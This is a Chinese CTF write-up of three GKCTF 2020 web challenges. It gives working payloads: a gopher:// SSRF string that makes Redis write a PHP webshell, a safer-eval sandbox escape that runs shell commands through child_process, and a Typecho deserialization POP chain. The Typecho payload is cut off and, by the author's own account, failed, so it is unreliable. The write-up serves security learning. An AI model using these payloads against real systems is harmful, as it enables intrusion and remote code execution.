【GKCTF 2020】ez三剑客收获
- gopher协议SSRF
- 多利用github搜索已存在的函数漏洞
- CMS审计的一些方法
1. ezweb
打开题目给了一个输入框,能够向输入的url发送http请求。F12查看一下,发现hint:?secret
,将其作为当前url的GET参数:
直接给出了靶机的路由表,说明是一个SSRF。
1.1 file协议读源码
file:///var/www/html/index.php
失败,继续尝试:
file:/var/www/html/index.php
这两种方法是等效的,这下看到了index.php的内容:
?phpfunction curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); echo curl_exec($ch); curl_close($ch);}if(isset($_GET['submit'])){$url = $_GET['url'];//echo $url."\n";if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match)){//var_dump($match);die('别这样');}curl($url);}if(isset($_GET['secret'])){system('ifconfig');}?
原来这里过滤了file://同时也过滤了dict协议,但是没有过滤gopher。
1.2 BP扫内网
抓包在第一个网段的C段下进行扫描:
可以看到,提示应该是在该地址上的其他端口中。
1.3 测试端口
这里重点测试SSRF的常用利用端口:mysql(3306)、redis(6379)。当然也可以使用Bp的intrude爆破其他端口。
提交172.2.158.173:6379
的url时出现:
说明开启了Redis服务。经典的Gopher协议来打Redis。
1.4 Gopherus生成payload:
工具可以在github上下载:
python2 gopherus.py --exploit redis
这里我们将shell.php直接写入:
gopher://172.2.158.173:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20echo%20system%28%27cat%20/flag%27%29%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
将其输入到提交的url框中。
1.5 查flag
接下来只需要访问shell.php即可:
172.2.158.173/shell.php
得到flag:
2. easynode
贴个源码:
const express = require('express'); //express是一个Node.js框架const bodyParser = require('body-parser');const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库const fs = require('fs');const app = express();app.use(bodyParser.urlencoded({ extended: false }));app.use(bodyParser.json());// 2020.1/WORKER2 老板说为了后期方便优化app.use((req, res, next) => { if (req.path === '/eval') { let delay = 60 * 1000; console.log(delay); if (Number.isInteger(parseInt(req.query.delay))) { delay = Math.max(delay, parseInt(req.query.delay)); } const t = setTimeout(() => next(), delay); // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事 setTimeout(() => { clearTimeout(t); console.log('timeout'); try { res.send('Timeout!'); } catch (e) { } }, 1000); //取消上面的delay时间的定时器,直接一秒之后输出timeout } else { next(); }});app.post('/eval', function (req, res) { let response = ''; if (req.body.e) { try { response = saferEval(req.body.e); } catch (e) { response = 'Wrong Wrong Wrong!!!!'; } } res.send(String(response));});// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPIapp.get('/source', function (req, res) { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync('./index.js'));});// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口app.get('/version', function (req, res) { res.set('Content-Type', 'text/json;charset=utf-8'); res.send(fs.readFileSync('./package.json'));});app.get('/', function (req, res) { res.set('Content-Type', 'text/html;charset=utf-8'); res.send(fs.readFileSync('./index.html'))})app.listen(80, '0.0.0.0', () => { console.log('Start listening')});
2.1 分析
可以看到主要能利用的地方是saferEval
函数。于是去github上搜一搜该函数的issue:
这里通过获取process变量的全局应用,执行了系统命令。
2.2 setTimeout绕过
源代码中Next()
函数表示一个回调操作,Nodejs会通过其将控制权交给下一个中间件处理函数,也就是app.post('/eval', function (req, res)
部分。
所以为了能够成功执行到saferEval
函数,我们需要绕过const t = setTimeout(() => next(), delay);
,使其在远低于delay时间下执行next
函数。
但是这个函数存在一个漏洞,当我们设置的计时器内容过大时,这里是超出2147483647秒时,会发生溢出,导致delay的内容为1,也就是一毫秒内就执行next
函数。
2.3 Payload
RCE部分:
e = setInterval.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();
可以看到是一个root用户,换成命令cat /flag
直接读flag。
3. eztypecho
有了之前typecho反序列化的基础:【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF,看这个就明白很多。
3.1 分析源码
定位到Install.php中,全局搜索unserialize函数。
可以看到要进入反序列化函数,首先需要设置GET参数finish;同时需要设置cookie:__typecho_config,这可以通过POST变量来设置(原因在get函数中写了)。
可以看到条件满足,成功设置了cookie,下一步,我们就需要使其SESSION不为空。但是搜索一下发现无法设置session。于是考虑另一个反序列化函数:
这里设置一个start参数即可。那下面就是找POP链。
3.3 POP链
首先上面的代码中存在字符串操作:
$type = explode('_', $config['adapter']);
自然想到__toString方法。全局搜索一下,发现/var/Feed.php中有线索:
这里如果$item[‘author’]类中不存在screenName属性,就会自动调用get方法。
全局搜索一下__get方法:
存在这个get魔术函数,其中这个变量key为属性screenName。继续跟进其中的get方法:
该get函数返回时,会调用__applyFilter
函数,于是跟进看一下:
其中这个call_user_func
函数的$filter变量和$value变量都是可控的,并且这里的几个函数都在同一个文件中,这样我们就可以根据其进行RCE。
反序化链为:
Feed.php:Typecho_Feed::__toString()->Request.php:Typecho_Request::__get()->get()->__applyFilter()->call_user_func()
3.4 Payload
如下:
_type = $this::ATOM1; $this->_items[0] = array( 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } }class Typecho_Request{ private $_params=array(); private $_filter = array(); public function __construct(){ $_params['screenName']='system("ls")'; $this->_filter[0] = 'assert'; }}$a=array('adapter'=>'new Typecho_Feed()', 'prefix' => 'typecho_');echo base64_encode(serialize($a));?>
感觉是对的,但是没成功。试了网上现成的exp也没成功,不知道为啥,是不是环境的问题。